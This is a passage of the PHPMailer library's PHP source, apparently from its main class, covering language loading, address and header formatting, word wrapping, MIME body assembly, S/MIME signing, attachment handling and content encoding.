                foreach ($lines as $line) {
                    //Translation file lines look like this:
                    //$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.';
                    //These files are parsed as text and not PHP so as to avoid the possibility of code injection
                    //See https://blog.stevenlevithan.com/archives/match-quoted-string
                    $matches = [];
                    if (
                        preg_match(
                            '/^\$PHPMAILER_LANG\[\'([a-z\d_]+)\'\]\s*=\s*(["\'])(.+)*?\2;/',
                            $line,
                            $matches
                        ) &&
                        //Ignore unknown translation keys
                        array_key_exists($matches[1], $PHPMAILER_LANG)
                    ) {
                        //Overwrite language-specific strings so we'll never have missing translation keys.
                        $PHPMAILER_LANG[$matches[1]] = (string)$matches[3];
                    }
                }
            }
        }
        $this->language = $PHPMAILER_LANG;

        return $foundlang; //Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     *
     * @return array
     */
    public function getTranslations()
    {
        if (empty($this->language)) {
            $this->setLanguage(); // Set the default language.
        }

        return $this->language;
    }

    /**
     * Create recipient headers.
     *
     * @param string $type
     * @param array  $addr An array of recipients,
     *                     where each recipient is a 2-element indexed array with element 0 containing an address
     *                     and element 1 containing a name, like:
     *                     [['joe@example.com', 'Joe User'], ['zoe@example.com', 'Zoe User']]
     *
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = [];
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }

        return $type . ': ' . implode(', ', $addresses) . static::$LE;
    }

    /**
     * Format an address for use in a message header.
     *
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name like
     *                    ['joe@example.com', 'Joe User']
     *
     * @return string
     */
    public function addrFormat($addr)
    {
        if (!isset($addr[1]) || ($addr[1] === '')) { //No name provided
            return $this->secureHeader($addr[0]);
        }

        return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') .
            ' <' . $this->secureHeader($addr[0]) . '>';
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     *
     * @param string $message The message to wrap
     * @param int    $length  The line length to wrap to
     * @param bool   $qp_mode Whether to run in Quoted-Printable mode
     *
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', static::$LE);
        } else {
            $soft_break = static::$LE;
        }
        //If utf-8 encoding is used, we will need to make sure we don't
        //split multibyte characters when we wrap
        $is_utf8 = static::CHARSET_UTF8 === strtolower($this->CharSet);
        $lelen = strlen(static::$LE);
        $crlflen = strlen(static::$LE);

        $message = static::normalizeBreaks($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) === static::$LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode(static::$LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode && (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif ('=' === substr($word, $len - 1, 1)) {
                                --$len;
                            } elseif ('=' === substr($word, $len - 2, 1)) {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', static::$LE);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while ($word !== '') {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif ('=' === substr($word, $len - 1, 1)) {
                            --$len;
                        } elseif ('=' === substr($word, $len - 2, 1)) {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = (string) substr($word, $len);

                        if ($word !== '') {
                            $message .= $part . sprintf('=%s', static::$LE);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if ('' !== $buf_o && strlen($buf) > $length) {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . static::$LE;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     *
     * @param string $encodedText utf-8 QP text
     * @param int    $maxLength   Find the last character boundary prior to this length
     *
     * @return int
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                //Found start of encoded character byte within $lookBack block.
                //Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    //Single byte character.
                    //If the encoded char was found at pos 0, it will fit
                    //otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength -= $lookBack - $encodedCharPos;
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    //First byte of a multi byte character
                    //Reduce maxLength to split at start of character
                    $maxLength -= $lookBack - $encodedCharPos;
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    //Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                //No encoded character found
                $foundSplitPos = true;
            }
        }

        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     *
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', '' === $this->MessageDate ? self::rfcDate() : $this->MessageDate);

        //The To header is created automatically by mail(), so needs to be omitted here
        if ('mail' !== $this->Mailer) {
            if ($this->SingleTo) {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            } elseif (count($this->to) > 0) {
                $result .= $this->addrAppend('To', $this->to);
            } elseif (count($this->cc) === 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }
        $result .= $this->addrAppend('From', [[trim($this->From), $this->FromName]]);

        //sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        //sendmail and mail() extract Bcc from the header before sending
        if (
            (
                'sendmail' === $this->Mailer || 'qmail' === $this->Mailer || 'mail' === $this->Mailer
            )
            && count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        //mail() sets the subject itself
        if ('mail' !== $this->Mailer) {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        //Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        //https://tools.ietf.org/html/rfc5322#section-3.6.4
        if (
            '' !== $this->MessageID &&
            preg_match(
                '/^<((([a-z\d!#$%&\'*+\/=?^_`{|}~-]+(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)' .
                '|("(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]|[\x21\x23-\x5B\x5D-\x7E])' .
                '|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*"))@(([a-z\d!#$%&\'*+\/=?^_`{|}~-]+' .
                '(\.[a-z\d!#$%&\'*+\/=?^_`{|}~-]+)*)|(\[(([\x01-\x08\x0B\x0C\x0E-\x1F\x7F]' .
                '|[\x21-\x5A\x5E-\x7E])|(\\[\x01-\x09\x0B\x0C\x0E-\x7F]))*\])))>$/Di',
                $this->MessageID
            )
        ) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (null !== $this->Priority) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ('' === $this->XMailer) {
            //Empty string for default X-Mailer header
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . self::VERSION . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } elseif (is_string($this->XMailer) && trim($this->XMailer) !== '') {
            //Some string
            $result .= $this->headerLine('X-Mailer', trim($this->XMailer));
        } //Other values result in no X-Mailer header

        if ('' !== $this->ConfirmReadingTo) {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        //Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     *
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_MIXED . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $result .= $this->textLine(' boundary="' . $this->boundary[1] . '"');
                break;
            default:
                //Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        //RFC1341 part 5 says 7bit is assumed if not specified
        if (static::ENCODING_7BIT !== $this->Encoding) {
            //RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if (static::ENCODING_8BIT === $this->Encoding) {
                    $result .= $this->headerLine('Content-Transfer-Encoding', static::ENCODING_8BIT);
                }
                //The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     *
     * @see PHPMailer::preSend()
     *
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return static::stripTrailingWSP($this->MIMEHeader . $this->mailHeader) .
            static::$LE . static::$LE . $this->MIMEBody;
    }

    /**
     * Create a unique ID to use for boundaries.
     *
     * @return string
     */
    protected function generateId()
    {
        $len = 32; //32 bytes = 256 bits
        $bytes = '';
        if (function_exists('random_bytes')) {
            try {
                $bytes = random_bytes($len);
            } catch (\Exception $e) {
                //Do nothing
            }
        } elseif (function_exists('openssl_random_pseudo_bytes')) {
            /** @noinspection CryptographicallySecureRandomnessInspection */
            $bytes = openssl_random_pseudo_bytes($len);
        }
        if ($bytes === '') {
            //We failed to produce a proper random string, so make do.
            //Use a hash to force the length to the same as the other methods
            $bytes = hash('sha256', uniqid((string) mt_rand(), true), true);
        }

        //We don't care about messing up base64 format here, just want a random string
        return str_replace(['=', '+', '/'], '', base64_encode(hash('sha256', $bytes, true)));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     *
     * @throws Exception
     *
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->setBoundaries();

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . static::$LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if (static::ENCODING_8BIT === $bodyEncoding && !$this->has8bitChars($this->Body)) {
            $bodyEncoding = static::ENCODING_7BIT;
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = static::CHARSET_ASCII;
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if (static::ENCODING_BASE64 !== $this->Encoding && static::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if (static::ENCODING_8BIT === $altBodyEncoding && !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = static::ENCODING_7BIT;
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = static::CHARSET_ASCII;
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if (static::ENCODING_BASE64 !== $altBodyEncoding && static::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = static::ENCODING_QUOTED_PRINTABLE;
        }
        //Use this as a preamble in all multipart message types
        $mimepre = '';
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                if (!empty($this->Ical)) {
                    $method = static::ICAL_METHOD_REQUEST;
                    foreach (static::$IcalMethods as $imethod) {
                        if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) {
                            $method = $imethod;
                            break;
                        }
                    }
                    $body .= $this->getBoundary(
                        $this->boundary[1],
                        '',
                        static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method,
                        ''
                    );
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= static::$LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary(
                    $this->boundary[1],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                if (!empty($this->Ical)) {
                    $method = static::ICAL_METHOD_REQUEST;
                    foreach (static::$IcalMethods as $imethod) {
                        if (stripos($this->Ical, 'METHOD:' . $imethod) !== false) {
                            $method = $imethod;
                            break;
                        }
                    }
                    $body .= $this->getBoundary(
                        $this->boundary[2],
                        '',
                        static::CONTENT_TYPE_TEXT_CALENDAR . '; method=' . $method,
                        ''
                    );
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                }
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_ALTERNATIVE . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[2] . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[2],
                    $altBodyCharSet,
                    static::CONTENT_TYPE_PLAINTEXT,
                    $altBodyEncoding
                );
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= static::$LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', static::CONTENT_TYPE_MULTIPART_RELATED . ';');
                $body .= $this->textLine(' boundary="' . $this->boundary[3] . '";');
                $body .= $this->textLine(' type="' . static::CONTENT_TYPE_TEXT_HTML . '"');
                $body .= static::$LE;
                $body .= $this->getBoundary(
                    $this->boundary[3],
                    $bodyCharSet,
                    static::CONTENT_TYPE_TEXT_HTML,
                    $bodyEncoding
                );
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= static::$LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= static::$LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= static::$LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                //Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
            if ($this->exceptions) {
                throw new Exception($this->lang('empty_message'), self::STOP_CRITICAL);
            }
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new Exception($this->lang('extension_missing') . 'openssl');
                }

                $file = tempnam(sys_get_temp_dir(), 'srcsign');
                $signed = tempnam(sys_get_temp_dir(), 'mailsign');
                file_put_contents($file, $body);

                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        ['file://' . realpath($this->sign_key_file), $this->sign_key_pass],
                        []
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        ['file://' . realpath($this->sign_key_file), $this->sign_key_pass],
                        [],
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }

                @unlink($file);
                if ($sign) {
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . static::$LE . static::$LE;
                    $body = $parts[1];
                } else {
                    @unlink($signed);
                    throw new Exception($this->lang('signing') . openssl_error_string());
                }
            } catch (Exception $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }

        return $body;
    }

    /**
     * Get the boundaries that this message will use
     * @return array
     */
    public function getBoundaries()
    {
        if (empty($this->boundary)) {
            $this->setBoundaries();
        }
        return $this->boundary;
    }

    /**
     * Return the start of a message boundary.
     *
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     *
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ('' === $charSet) {
            $charSet = $this->CharSet;
        }
        if ('' === $contentType) {
            $contentType = $this->ContentType;
        }
        if ('' === $encoding) {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= static::$LE;
        //RFC1341 part 5 says 7bit is assumed if not specified
        if (static::ENCODING_7BIT !== $encoding) {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= static::$LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     *
     * @param string $boundary
     *
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return static::$LE . '--' . $boundary . '--' . static::$LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     */
    protected function setMessageType()
    {
        $type = [];
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ('' === $this->message_type) {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     *
     * @param string     $name
     * @param string|int $value
     *
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . static::$LE;
    }

    /**
     * Return a formatted mail line.
     *
     * @param string $value
     *
     * @return string
     */
    public function textLine($value)
    {
        return $value . static::$LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     *
     * @param string $path        Path to the attachment
     * @param string $name        Overrides the attachment name
     * @param string $encoding    File encoding (see $Encoding)
     * @param string $type        MIME type, e.g. `image/jpeg`; determined automatically from $path if not specified
     * @param string $disposition Disposition to use
     *
     * @throws Exception
     *
     * @return bool
     */
    public function addAttachment(
        $path,
        $name = '',
        $encoding = self::ENCODING_BASE64,
        $type = '',
        $disposition = 'attachment'
    ) {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            //If a MIME type is not specified, try to work it out from the file name
            if ('' === $type) {
                $type = static::filenameToType($path);
            }

            $filename = (string) static::mb_pathinfo($path, PATHINFO_BASENAME);
            if ('' === $name) {
                $name = $filename;
            }
            if (!$this->validateEncoding($encoding)) {
                throw new Exception($this->lang('encoding') . $encoding);
            }

            $this->attachment[] = [
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, //isStringAttachment
                6 => $disposition,
                7 => $name,
            ];
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }

        return true;
    }

    /**
     * Return the array of attachments.
     *
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     *
     * @param string $disposition_type
     * @param string $boundary
     *
     * @throws Exception
     *
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        //Return text of body
        $mime = [];
        $cidUniq = [];
        $incl = [];

        //Add all attachments
        foreach ($this->attachment as $attachment) {
            //Check if it is a valid disposition_filter
            if ($attachment[6] === $disposition_type) {
                //Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = hash('sha256', serialize($attachment));
                if (in_array($inclhash, $incl, true)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ('inline' === $disposition && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, static::$LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name=%s%s',
                        $type,
                        static::quotedString($this->encodeHeader($this->secureHeader($name))),
                        static::$LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        static::$LE
                    );
                }
                //RFC1341 part 5 says 7bit is assumed if not specified
                if (static::ENCODING_7BIT !== $encoding) {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, static::$LE);
                }

                //Only set Content-IDs on inline attachments
                if ((string) $cid !== '' && $disposition === 'inline') {
                    $mime[] = 'Content-ID: <' . $this->encodeHeader($this->secureHeader($cid)) . '>' . static::$LE;
                }

                //Allow for bypassing the Content-Disposition header
                if (!empty($disposition)) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (!empty($encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename=%s%s',
                            $disposition,
                            static::quotedString($encoded_name),
                            static::$LE . static::$LE
                        );
                    } else {
                        $mime[] = sprintf(
                            'Content-Disposition: %s%s',
                            $disposition,
                            static::$LE . static::$LE
                        );
                    }
                } else {
                    $mime[] = static::$LE;
                }

                //Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                }
                if ($this->isError()) {
                    return '';
                }
                $mime[] = static::$LE;
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, static::$LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     *
     * @param string $path     The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     *
     * @return string
     */
    protected function encodeFile($path, $encoding = self::ENCODING_BASE64)
    {
        try {
            if (!static::fileIsAccessible($path)) {
                throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $file_buffer = file_get_contents($path);
            if (false === $file_buffer) {
                throw new Exception($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $file_buffer = $this->encodeString($file_buffer, $encoding);

            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     *
     * @param string $str      The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     *
     * @throws Exception
     *
     * @return string
     */
    public function encodeString($str, $encoding = self::ENCODING_BASE64)
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case static::ENCODING_BASE64:
                $encoded = chunk_split(
                    base64_encode($str),
                    static::STD_LINE_LENGTH,
                    static::$LE
                );
                break;
            case static::ENCODING_7BIT:
            case static::ENCODING_8BIT:
                $encoded = static::normalizeBreaks($str);
                //Make sure it ends with a line break
                if (substr($encoded, -(strlen(static::$LE))) !== static::$LE) {
                    $encoded .= static::$LE;
                }
                break;
            case static::ENCODING_BINARY:
                $encoded = $str;
                break;
            case static::ENCODING_QUOTED_PRINTABLE:
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                if ($this->exceptions) {
                    throw new Exception($this->lang('encoding') . $encoding);
                }
                break;
        }

        return $encoded;
    }

    /**
     * Encode a header value (not including its label) optimally.
     * Picks shortest of Q, B, or none. Result includes folding if needed.
     * See RFC822 definitions for phrase, comment and text positions.
     *
     * @param string $str      The header value to encode
     * @param string $position What context the string will be used in
     *
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
